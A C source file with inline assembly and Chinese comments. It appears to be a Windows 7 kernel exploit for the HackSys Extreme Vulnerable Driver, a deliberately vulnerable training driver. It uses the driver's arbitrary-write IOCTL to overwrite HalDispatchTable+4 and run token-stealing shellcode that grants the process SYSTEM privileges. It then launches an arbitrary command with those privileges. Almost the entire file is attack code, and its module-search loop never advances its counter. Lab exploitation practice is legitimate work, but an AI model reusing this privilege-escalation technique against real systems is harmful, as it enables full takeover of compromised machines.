1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193
| #include <stdio.h> #include <Windows.h>
#define SystemModuleInformation 11
typedef NTSTATUS(NTAPI *kZwQuerySystemInformation)( _In_ DWORD SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
typedef NTSTATUS(NTAPI *kPsLookupProcessByProcessId)( IN HANDLE ProcessId, OUT PVOID Process );
typedef NTSTATUS(NTAPI *wNtQueryIntervalProfile)( IN DWORD ProfileSource, OUT ULONG* Interval );
typedef struct _SYSTEM_MODULE { HANDLE Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; USHORT Id; USHORT Rank; USHORT w018; USHORT NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _WHERE_AND_WHAT { PVOID Where; PVOID What; } WHERE_AND_WHAT, *PWHERE_AND_WHAT;
void GetSystemToken() { __asm { pushad; 保存寄存器
xor eax, eax; eax置零 mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process mov ecx, eax; 将本进程EPROCESS地址复制到ecx mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID: mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0b8h cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h]; 获取System进程的Token mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
popad; 恢复寄存器 }
}
void main(char* argc, char* argv[]) { DWORD HalDispatchTable_Kernel; HANDLE hDevice; DWORD dwRet = 0; DWORD Interval = 0; char szNtName[256] = { 0 }; PVOID NtBase; HMODULE hNtdll = LoadLibraryA("ntdll"); WHERE_AND_WHAT exploit; if (hNtdll == NULL) { printf("[-] Load Ntdll fail!"); return; } kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); if (pZwQuerySystemInformation == NULL) { printf("[-] Can not found ZwQuerySystemInformation!"); return; }
ULONG SystemInfoBufferSize; pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0, &SystemInfoBufferSize); if (SystemInfoBufferSize == 0) { printf("[-] SystemInfoBufferSize is 0!"); } PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize); printf("[+] LocalAlloc:0x%p\n", pSystemInfoBuffer); if (pSystemInfoBuffer == 0) { printf("[-] LocalAlloc is fail!"); return; } int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
if (ret) { printf("[-] ZwQuerySystemInformation is fail!"); return; }
_SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
printf("[+] Kernel Modle found %d\n", smi->ModulesCount);
memset(szNtName, 0, 256); int i = 0; while (i < smi->ModulesCount) { SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i); if (strstr((char*)sm->Name, ".exe") && strstr((char*)sm->Name, "nt")) { NtBase = sm->ImageBaseAddress; strncpy_s(szNtName, 256, strstr((char*)sm->Name, "nt"), _TRUNCATE); break; }
} printf("[+] name:%s-0x%p\n", szNtName, NtBase); HMODULE nt = LoadLibraryA(szNtName); HalDispatchTable_Kernel = (DWORD)GetProcAddress(nt, "HalDispatchTable"); HalDispatchTable_Kernel = ((INT)NtBase + ((INT)HalDispatchTable_Kernel - (INT)nt)); printf("[+] HalDispatchTable Address in 0x%p\n", HalDispatchTable_Kernel);
PVOID AddressShellcode = GetSystemToken; hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[-] GetDriver fail!\n"); return; } printf("[+] GetDriver Success!\n"); printf("[+] Second Point Shellcode Address 0x%p\n", &AddressShellcode); printf("[+] HalDispatchTable+4 Address 0x%p\n", HalDispatchTable_Kernel + 4); exploit.What = (PVOID)(HalDispatchTable_Kernel+4); exploit.Where = &AddressShellcode; DeviceIoControl(hDevice, 0x22200B, &exploit, sizeof(exploit), NULL, 0, &dwRet, 0); wNtQueryIntervalProfile pNtQueryIntervalProfile = (wNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile"); if (pNtQueryIntervalProfile == NULL) { printf("[-] Not Find NtQueryIntervalProfile"); return; }
printf("[+] NtQueryIntervalProfile Address: 0x%p\n", pNtQueryIntervalProfile); pNtQueryIntervalProfile(0x2, &Interval);
STARTUPINFOA si; PROCESS_INFORMATION pi;
if (argv[1]) { si = { 0 }; pi = { 0 }; si.cb = sizeof(si); si.dwFlags = 1; si.wShowWindow = 0; CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, 0x10000); }
}
|